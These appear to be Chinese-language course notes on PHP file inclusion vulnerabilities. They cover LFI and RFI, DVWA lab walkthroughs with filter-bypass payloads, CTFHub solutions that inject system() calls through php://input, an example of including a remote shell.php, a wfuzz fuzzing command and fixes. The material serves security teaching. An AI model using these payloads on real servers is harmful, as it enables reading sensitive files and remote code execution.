6-文件包含漏洞
1、什么是文件包含漏洞
一个代码文件,需要去包含其他的代码文件,而导致的漏洞
原因:内容包含、函数包含
分类:本地、远程
1.1 本地文件包含/目录遍历漏洞/任意文件访问漏洞(LFI)
固定文件名:<?php include 'footer.php';?>
接口动态包含:include.php可以通过参数file,包含指定的文件
用法:?file=访问敏感文件、连接webshell
1.2 远程文件包含漏洞RFI
与XXE和SSRF的区别
配置:
php.ini
allow_url_fopen=On
allow_url_include=On
用法:/include.php?file=http://xxx.xxx.xx.xx/shell.php
1.3 典型案例
CVE-2018-12613 Phpmyadmin后台 任意文件包含漏洞
CVE-2020-1938 Apache Tomcat 文件包含漏洞
2、PHP相关函数和伪协议
2.1 相关函数
读取文件、打开文件 或 访问文件
2.2 伪协议
是在Php里面,用来访问其他文件格式的一种协议
3、DVWA靶场案例演示
File Inclusion
3.1 安全级别low
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../phpinfo.php
也可以远程包含shell文件,但是需要coookie
3.2 安全级别medium
将"http://"、"https://"、"../"、"..\"替换为空
绕过:双写
fi/?page=hthttp://tp://xxx.xxx.xxx.xx/alert.html
fi/?page=..././1.txt
3.3 安全级别high
进行了一个匹配,文件名必须以file或include开头才允许访问
绕过:伪协议
fi/?page=file:///C:\Windows\system.ini
3.4 impossible
白名单,限定死能访问的文件
4、CTF题目案例(CTFHub)
4.1 文件包含
/?file=shell.txt
POST:ctfhub=system("find / -name flag");
4.2 php://input(伪协议)
输入/?file=php://input
BP抓包,右键发送至repeater
将请求改成POST,不然执行不了命令
由于php://input伪协议存在,所以在最后一行添加参数 <?php system('ls /');?>
4.3 远程包含
与上一关卡一致
5、文件包含漏洞挖掘与利用
5.1 URL关键字
URL参数名字出现page、file、filename、include等等关键字。
URL参数值出现了文件名,比如xxx.pgp xxx.html 等等。
比如:
?file=content
?page=wuya.asp
?home=wuya.html
5.2 函数or伪协议
5.3 工具
不具备扫描,但是可以利用:https://github.com/D35m0nd142/LFISuite
wfuzz结合已有的漏洞,进行目录扫描
Kali:wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://xxx.xxx.xx.xx/include.php?file=FUZZ
6、文件包含漏洞修复方案
1、php配置
2、禁用动态包含(把要包含的文件名写死)
3、过滤协议、目录字符
4、设置文件白名单